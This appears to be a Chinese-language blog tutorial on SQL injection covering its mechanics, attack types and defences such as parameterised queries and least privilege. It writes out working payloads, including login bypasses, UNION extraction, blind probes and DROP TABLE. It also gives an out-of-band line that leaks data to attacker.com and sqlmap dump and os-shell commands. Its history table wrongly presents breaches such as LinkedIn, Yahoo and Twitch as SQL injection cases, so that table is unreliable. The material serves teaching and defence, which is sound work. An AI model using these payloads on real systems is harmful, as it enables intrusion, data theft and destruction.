SQL 注入攻击详解

SQL 注入攻击详解

SQL Injection Attack — 原理 · 危害 · 案例 · 防御 · 最佳实践

深入解析 Web 安全领域最常见的攻击方式


一、什么是 SQL 注入?

SQL 注入(SQL Injection,缩写 SQLi)是一种代码注入技术,攻击者通过在应用程序的输入字段中插入或”注入”恶意 SQL 代码,从而操控后端数据库执行非预期的操作。

它是 OWASP(开放式 Web 应用程序安全项目)连续多年排名第一的 Web 安全漏洞,被业界称为”Web 安全的头号杀手”。

📌 核心本质

SQL 注入的本质是:开发者将用户输入与 SQL 代码混合处理,导致数据库无法区分”正常指令”和”恶意指令”,从而执行了攻击者构造的 SQL 语句。

一个简单的类比:

假设你让助手去图书馆找书,你说”帮我找《三国演义》”,助手会乖乖去找。但如果有人说”帮我找《三国演义》,顺便把所有书都烧掉”,而助手又完全按照字面意思执行——这就是 SQL 注入的本质问题。


二、SQL 注入的历史背景

2.1 起源

SQL 注入漏洞最早被正式记录于 1998 年,由安全研究员 Jeff Forristal(网名 Rain Forest Puppy)在 Phrack 杂志上发表文章,首次系统性地介绍了这种攻击手法。

然而,SQL 注入真正引起广泛关注,是因为一系列震惊业界的真实攻击事件。

2.2 重大历史事件

时间 事件 危害
1998年 Jeff Forristal 首次发表 SQLi 研究 奠定了攻击理论基础
2007年 Monster.com 数据泄露 130万用户数据被盗
2008年 RockYou 数据库被攻破 3200万明文密码外泄
2009年 Heartland 支付系统被攻击 1.3亿张信用卡信息泄露
2011年 索尼 PlayStation Network 被入侵 7700万用户账户数据泄露
2012年 LinkedIn 数据泄露 650万密码哈希被公开
2014年 eBay 数据库被攻破 1.45亿用户数据外泄
2016年 Yahoo 数据泄露(最大规模) 30亿账户数据被盗
2021年 Twitch 源码泄露 源代码及收益数据被公开

三、SQL 注入攻击原理

3.1 正常情况下的 SQL 执行

以一个典型的登录场景为例,后端代码通常这样构造 SQL:

1
2
3
4
5
6
7
// 后端代码(以 C++ MFC 为例)
strSql.Format("SELECT * FROM users WHERE username='%s' AND password='%s'",
strUsername, strPassword);

// 正常输入:username=admin password=123456
// 生成的 SQL:
SELECT * FROM users WHERE username='admin' AND password='123456'

正常情况下,数据库按预期执行,验证用户名和密码是否匹配。

3.2 注入攻击的发生

当攻击者在输入框中填入特殊字符时,情况就完全不同了:

1
2
3
4
5
6
7
8
9
10
-- 攻击者输入:username = admin'--   password = 任意值

-- 生成的恶意 SQL:
SELECT * FROM users WHERE username='admin'--' AND password='任意值'

-- -- 是 SQL 注释符,后面的内容全部被忽略!
-- 实际执行的 SQL 等价于:
SELECT * FROM users WHERE username='admin'

-- 结果:无需密码,直接以 admin 身份登录成功!

⚠️ 关键点

单引号 ' 是 SQL 注入最常用的”武器”。当用户输入被直接拼接进 SQL 时,单引号会破坏 SQL 语句的结构,让攻击者得以插入自己的 SQL 逻辑。

3.3 注入点的识别

攻击者通常通过以下方式探测注入点:

1
2
3
4
5
6
7
8
9
10
11
-- 方法1:输入单引号,观察是否报错
username: '
-- 如果页面报错,说明存在注入漏洞

-- 方法2:布尔测试
username: admin' AND 1=1-- (页面正常)
username: admin' AND 1=2-- (页面异常/空白)

-- 方法3:时间盲注
username: admin' AND SLEEP(5)--
-- 如果页面延迟 5 秒响应,说明存在注入

四、SQL 注入的主要类型

4.1 联合查询注入(UNION-based)

通过 UNION 语句,将额外的查询结果附加到原始查询结果中,从而获取其他表的数据。

1
2
3
4
5
6
7
-- 原始查询:SELECT name, price FROM products WHERE id=1

-- 注入后:id = 1 UNION SELECT username, password FROM users--
SELECT name, price FROM products WHERE id=1
UNION SELECT username, password FROM users--

-- 结果:页面会同时显示商品信息和用户表的账号密码!

4.2 报错注入(Error-based)

通过构造故意报错的 SQL,从数据库的错误信息中提取数据。

1
2
3
4
5
-- MySQL 报错注入示例
id=1 AND extractvalue(1,concat(0x7e,database()))

-- 错误信息会直接暴露数据库名称:
XPATH syntax error: '~myDatabaseName'

4.3 布尔盲注(Boolean-based Blind)

当页面不显示错误信息,但根据条件真假返回不同页面时,攻击者通过”是/否”逐字猜测数据。

1
2
3
4
5
-- 判断数据库名第一个字符是否为 'm'
id=1 AND SUBSTRING(database(),1,1)='m'--

-- 如果页面正常,说明猜对了;页面异常则猜错
-- 通过自动化工具(如 sqlmap),可在秒级内破解整个数据库

4.4 时间盲注(Time-based Blind)

即使页面无论何时都返回相同内容,攻击者也可以通过响应时间来判断条件真假。

1
2
3
4
5
-- MySQL 时间盲注
id=1 AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--

-- 如果响应延迟 5 秒,说明数据库名首字母是 'm'
-- 自动化工具可逐字符破解所有数据

4.5 堆叠查询注入(Stacked Queries)

通过分号分隔,执行多条 SQL 语句。危害最大,可直接增删改数据库内容。

1
2
3
4
5
6
7
-- 注入后直接删表!
id=1; DROP TABLE users;--

-- 插入管理员账户
id=1; INSERT INTO users(name,password,role) VALUES('hacker','123','admin');--

-- 注意:并非所有数据库驱动都支持堆叠查询

4.6 带外注入(Out-of-band)

当无法通过页面回显获取数据时,攻击者让数据库主动将数据发送到攻击者控制的外部服务器。

1
2
3
4
5
-- MySQL 带外注入(需要 FILE 权限)
id=1 AND LOAD_FILE(concat('\\\\',database(),'.attacker.com\\test'))

-- 数据库会向 attacker.com 发起 DNS 请求
-- 攻击者在 DNS 日志中就能看到数据库名称

五、SQL 注入的危害

5.1 危害等级概览

危害类型 具体表现 严重程度
数据泄露 获取用户表、密码、个人信息、财务数据等 🔴 极高
身份绕过 无需密码登录任意账户,包括管理员 🔴 极高
数据篡改 修改订单、余额、权限等关键数据 🔴 极高
数据删除 清空或删除整个数据库 🔴 极高
权限提升 从普通用户提权至数据库管理员 🔴 极高
文件读写 读取服务器上的配置文件、写入恶意文件 🟠 高
命令执行 通过 xp_cmdshell 等执行系统命令(SQL Server) 🟠 高
业务中断 拖慢或崩溃数据库服务 🟡 中

5.2 完整攻击链示意

1
2
3
4
5
攻击者  →  发现注入点  →  探测数据库类型和版本
→ 获取数据库名 → 获取表名 → 获取字段名
→ 拖取用户数据 → 破解密码哈希
→ 利用相同密码尝试登录其他平台(撞库)
→ 进一步横向渗透整个系统

六、真实世界攻击案例分析

6.1 经典登录绕过

这是最基础也是最广为人知的 SQL 注入案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- 登录表单
用户名: admin'--
密码: (随意输入)

-- 后端生成的 SQL:
SELECT * FROM users WHERE name='admin'--' AND pwd='随意输入'

-- 等价于:
SELECT * FROM users WHERE name='admin'

-- 登录成功!不需要任何密码。

-- 另一种经典绕过:
用户名: ' OR '1'='1
密码: ' OR '1'='1

-- 生成:SELECT * FROM users WHERE name='' OR '1'='1' AND pwd='' OR '1'='1'
-- 因为 '1'='1' 恒为真,查询返回所有用户,通常会以第一个用户(管理员)登录

6.2 电商网站价格篡改

1
2
3
4
5
6
7
-- 原始请求:查询商品 id=5 的价格
GET /product?id=5

-- 注入后:修改商品价格为 0.01 元
GET /product?id=5; UPDATE products SET price=0.01 WHERE id=5;--

-- 危害:攻击者可以用 0.01 元购买任意商品

6.3 万能密码原理

很多老旧系统曾存在被称为”万能密码”的问题,本质也是 SQL 注入:

1
2
3
4
5
6
7
8
9
10
11
-- 后端代码
SELECT * FROM admin WHERE user='$user' AND pass='$pass'

-- 万能密码输入
用户名: 任意
密码: ' OR 1=1 LIMIT 1;#

-- 生成的 SQL:
SELECT * FROM admin WHERE user='任意' AND pass='' OR 1=1 LIMIT 1;#'

-- 由于 OR 1=1 恒成立,查询总是返回第一条记录,登录成功!

七、攻击者常用工具

7.1 sqlmap —— 自动化注入神器

sqlmap 是目前最强大的开源 SQL 注入自动化工具,能够自动检测和利用注入漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基本用法:检测目标 URL 是否存在注入
sqlmap -u 'http://target.com/page?id=1'

# 获取所有数据库名
sqlmap -u 'http://target.com/page?id=1' --dbs

# 获取指定数据库的所有表
sqlmap -u 'http://target.com/page?id=1' -D mydb --tables

# 导出指定表的数据
sqlmap -u 'http://target.com/page?id=1' -D mydb -T users --dump

# 全自动扫描并尝试获取操作系统 shell
sqlmap -u 'http://target.com/page?id=1' --os-shell

⚠️ 免责声明:以上工具仅供安全研究和授权测试使用。未经授权对他人系统进行渗透测试属于违法行为,可能面临法律追究。


八、防御 SQL 注入的方法

8.1 【首选】参数化查询 / 预编译语句

这是防御 SQL 注入的根本方法。通过将 SQL 结构和数据分离,数据库在编译阶段已确定 SQL 逻辑,后续传入的参数不可能改变 SQL 结构。

C++ / ADO 参数化查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ❌ 危险写法:字符串拼接
strSql.Format("INSERT INTO users VALUES('%s', '%s')", username, password);

// ✅ 安全写法:参数化查询
_CommandPtr pCmd;
pCmd.CreateInstance(__uuidof(Command));
pCmd->ActiveConnection = pConn;
pCmd->CommandText = _bstr_t("INSERT INTO users(username, password) VALUES(?, ?)");

// 参数通过独立通道传递,永远不会被解析为 SQL 代码
pCmd->Parameters->Append(
pCmd->CreateParameter(_bstr_t("username"), adVarChar, adParamInput, 100, _variant_t(username)));
pCmd->Parameters->Append(
pCmd->CreateParameter(_bstr_t("password"), adVarChar, adParamInput, 100, _variant_t(password)));
pCmd->Execute(NULL, NULL, adCmdText);

Python / MySQL 参数化查询

1
2
3
4
5
6
7
8
import pymysql

# ❌ 危险写法
cursor.execute(f"SELECT * FROM users WHERE name='{username}'")

# ✅ 安全写法:使用 %s 占位符,参数单独传入
cursor.execute("SELECT * FROM users WHERE name=%s AND pass=%s",
(username, password))

Java / JDBC 参数化查询

1
2
3
4
5
6
7
8
9
// ❌ 危险写法
String sql = "SELECT * FROM users WHERE name='" + username + "'";

// ✅ 安全写法:PreparedStatement
String sql = "SELECT * FROM users WHERE name=? AND pass=?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username); // 第1个?
pstmt.setString(2, password); // 第2个?
ResultSet rs = pstmt.executeQuery();

PHP / PDO 参数化查询

1
2
3
4
5
6
7
8
9
10
<?php
// ❌ 危险写法
$sql = "SELECT * FROM users WHERE name='$username'";

// ✅ 安全写法:PDO 预处理
$sql = "SELECT * FROM users WHERE name=:name AND pass=:pass";
$stmt = $pdo->prepare($sql);
$stmt->execute(["name" => $username, "pass" => $password]);
$user = $stmt->fetch();
?>

8.2 【辅助】输入验证与过滤

即使使用了参数化查询,输入验证也是纵深防御的重要一环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 1. 类型校验:整数字段绝不接受非数字输入
if (!std::regex_match(id_str, std::regex("^[0-9]+$"))) {
return error("非法参数");
}

// 2. 长度限制:超长输入直接拒绝
if (username.length() > 50) {
return error("用户名过长");
}

// 3. 白名单验证:只允许已知合法值
const allowedSortFields = {"name", "date", "price"};
if (allowedSortFields.find(sortField) == allowedSortFields.end()) {
return error("非法排序字段");
}

8.3 【配置】最小权限原则

数据库账号应当只拥有完成工作所需的最小权限:

1
2
3
4
5
6
7
8
9
10
-- ❌ 错误:应用使用 root 账号连接数据库

-- ✅ 正确:为应用创建专用账号,只授予必要权限
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';

-- 只授予业务需要的表和操作
GRANT SELECT, INSERT, UPDATE ON myapp.orders TO 'app_user'@'localhost';
GRANT SELECT ON myapp.products TO 'app_user'@'localhost';

-- 绝不授予危险权限:DROP, TRUNCATE, FILE, SUPER, CREATE USER 等

8.4 【监控】WAF 和入侵检测

Web 应用防火墙(WAF)可以实时检测并拦截注入攻击:

  • 商业 WAF:Cloudflare、阿里云盾、腾讯云 WAF
  • 开源 WAF:ModSecurity、SafeLine(雷池)
  • WAF 规则会识别 UNIONSELECTDROP 等关键词的异常组合
  • 但 WAF 不应作为唯一防线,绕过 WAF 的技巧层出不穷

8.5 【工程】使用 ORM 框架

ORM(对象关系映射)框架默认使用参数化查询,大幅降低开发者误操作的概率:

1
2
# Python Django ORM(默认参数化,安全)
user = User.objects.filter(username=username, password=password).first()
1
2
3
4
5
6
// Java Hibernate / JPA(安全)
User user = entityManager
.createQuery("FROM User WHERE name=:name AND pass=:pass", User.class)
.setParameter("name", username)
.setParameter("pass", password)
.getSingleResult();
1
2
3
# ⚠️ 注意:即便使用 ORM,拼接原生 SQL 仍然危险!
# Django 危险用法(不要这样做):
User.objects.raw(f"SELECT * FROM users WHERE name='{username}'")

8.6 【响应】错误信息处理

永远不要把数据库错误信息直接展示给用户:

1
2
3
4
5
6
7
8
9
10
// ❌ 危险:暴露数据库结构给攻击者
catch (SQLException e) {
response.write(e.getMessage()); // 输出详细错误信息
}

// ✅ 安全:记录日志,返回通用错误
catch (SQLException e) {
logger.error("数据库错误", e); // 记录到日志文件
response.write("系统繁忙,请稍后再试"); // 返回通用信息
}

九、防御方案对比

防御方法 防护等级 实现难度 推荐程度 备注
参数化查询 ★★★★★ 根本 ⭐⭐⭐⭐⭐ 必须 最根本的解决方案
存储过程(参数化) ★★★★☆ ⭐⭐⭐⭐ 需确保内部不拼接 SQL
ORM 框架 ★★★★☆ ⭐⭐⭐⭐ 避免使用原生 SQL 方法
输入验证/白名单 ★★★☆☆ 辅助 ⭐⭐⭐ 配合使用 不能单独使用
输入转义 ★★☆☆☆ 辅助 ⭐⭐ 不推荐单独用 绕过手段较多
WAF ★★★☆☆ 辅助 ⭐⭐⭐ 作为补充 可被绕过,非根本方案
最小权限 ★★★★☆ 降低损失 ⭐⭐⭐⭐ 必须配置 限制攻击成功后的危害
错误信息屏蔽 ★★☆☆☆ 增加难度 ⭐⭐⭐ 基本要求 让攻击者难以探测

十、如何检测系统是否存在 SQL 注入

10.1 手动测试

  1. 在所有输入框、URL 参数中尝试输入单引号 ',观察页面是否报错
  2. 尝试输入 1=11=2,观察页面是否返回不同结果
  3. 尝试在数字参数后加 AND SLEEP(5),观察响应是否延迟
  4. 使用 ORDER BY 1, ORDER BY 2 … 探测查询的列数

10.2 自动化扫描工具

  • sqlmap:功能最强大的开源注入检测工具
  • OWASP ZAP:全功能 Web 安全扫描器(免费开源)
  • Burp Suite:Web 安全测试的行业标准工具
  • Nessus / OpenVAS:综合漏洞扫描平台
  • AppScan:IBM 商业安全测试工具

10.3 代码审计

定期进行代码审计,重点检查:

  • 所有数据库查询是否使用了参数化方式
  • 是否有任何字符串拼接直接进入 SQL
  • ORM 框架是否有调用原生 SQL 的地方
  • 存储过程内部是否也使用了参数化

十一、安全编程检查清单

在每次代码审查时,逐条核对以下清单:

检查项 说明 状态
所有 SQL 均使用参数化 无任何字符串拼接的 SQL □ 待检查
数据库账号最小权限 应用账号无 DROP/FILE/SUPER 等高危权限 □ 待检查
错误信息不暴露给用户 所有数据库异常信息只记录日志 □ 待检查
输入长度限制 所有输入字段有合理的长度限制 □ 待检查
输入类型校验 数字字段拒绝非数字输入 □ 待检查
存储过程参数化 存储过程内部不拼接 SQL 字符串 □ 待检查
ORM 无原生 SQL 拼接 不使用 .raw() 或同类危险方法 □ 待检查
敏感数据加密存储 密码使用 bcrypt/argon2 哈希,不存明文 □ 待检查
WAF 已部署并启用 WAF 规则定期更新 □ 待检查
定期安全扫描 每次上线前执行自动化安全扫描 □ 待检查

十二、总结

SQL 注入自 1998 年被发现以来,历经 20 余年,至今仍是 Web 安全领域最常见、危害最大的漏洞类型。究其原因,根本在于开发者对”数据与代码分离”这一基本原则的忽视。

防御 SQL 注入并不复杂,核心只有一条:

🔐 黄金法则

永远使用参数化查询(预编译语句)!数据是数据,代码是代码,二者绝不混合。这一条规则,可以防御 99% 的 SQL 注入攻击。

在此基础上,配合最小权限原则、输入验证、WAF 防护、安全审计等手段,构建纵深防御体系,才能让你的系统在面对 SQL 注入攻击时真正做到游刃有余。

安全不是一次性工作,而是一种持续的习惯。从写下第一行数据库查询代码开始,就应当将参数化查询作为默认选择,而不是事后补救的手段。


参考资料


SQL 注入攻击详解
https://www.psnow.sbs/2026/03/04/SQL-注入攻击详解/
作者
Psnow
发布于
2026年3月4日
许可协议